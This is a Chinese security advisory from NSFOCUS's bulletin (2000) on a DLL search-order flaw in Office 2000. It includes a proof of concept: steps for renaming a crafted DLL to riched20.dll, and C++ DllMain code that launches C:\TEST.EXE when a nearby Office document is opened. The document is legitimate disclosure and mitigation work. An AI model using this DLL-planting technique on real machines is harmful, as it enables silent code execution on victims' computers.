首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第14期->最新漏洞
期刊号: 类型: 关键词:
微软Office 2000执行DLL的漏洞

日期:2000-10-07

受影响的系统:  
Microsoft Office 2000
   - Microsoft Windows 98
   - Microsoft Windows 95
   - Microsoft Windows NT 4.0
   - Microsoft Windows NT 2000


描述:
--------------------------------------------------------------------------------


如果Office文档所在的目录中存在“riched20.dll”或“msi.dll”,或者其它特意制作的.dll文
件,用户就可能在毫不知觉的情况下执行这些.dll文件。默认情况下.dll文件对用户来说是不可见
的。

当通过run命令或者Windows资源管理器打开这些.dll文件所在的目录中的Office文档时,有问题
的.dll文件中的DllMain( )代码就会被执行。这是由Windows搜寻.dll的顺序引起的。

一种可能使远程入侵者获得本地机器的完全控制的情形是:将一个恶意的.dll改名为“riched20.dll”或“msi.dll”,并将该文件放入已获得存取权的机器的某个已知目录中。
一旦用户打开该.dll文件所在的目录中的Office文档,恶意的代码就会被执行。

Excel文档自动执行的并不是“riched20.dll”,而是msi.dll。这个漏洞也适用于远程UNC共享。


<* 来源:Georgi Guninski (guninski@GUNINSKI.COM) *>



测试程序:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!



1、下载文件http://www.guninski.com/dll1.cpp,并生成可执行文件,或者直接下
载已编译好的可执行文件:http://www.guninski.com/dll1.dll。
2、将dll1.dll改名为riched20.dll。
3、将这个riched20.dll放在某个目录中。
4、关闭所有Office应用程序。
5、在资源管理器中双击riched20.dll所在的目录中的任意一个Office文档(最好是MS Word文档)。

下面是dll1.cpp的内容:
// dll1.cpp : Defines the entry point for the DLL application.
//

#include "stdafx.h"
#include "stdlib.h"

BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
   switch( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACH:
         // Initialize once for each new process.
         // Return FALSE to fail DLL load.
          MessageBox(NULL, "Hello world!", "Info", MB_OK);
    MessageBox(NULL, "Shall try to start: C:\\TEST.EXE\n You may need to create it.", "Info", MB_OK);
         system("C:\\TEST.EXE");
         break;

        case DLL_THREAD_ATTACH:
        // Do thread-specific initialization.
        // MessageBox(NULL, "DllMain.dll: DLL_THREAD_ATTACH", "Info", MB_OK);
            break;

        case DLL_THREAD_DETACH:
         // Do thread-specific cleanup.
            break;

        case DLL_PROCESS_DETACH:
         // Perform any necessary cleanup.
            break;
    }

    return TRUE;
}



--------------------------------------------------------------------------------
建议:

临时解决办法:

    NSFOCUS建议您在用run命令或者在资源管理器中双击打开Office文档时先确保该目录下不存在
特别的DLL文件。

厂商补丁:

    暂无。

版权所有,未经许可,不得转载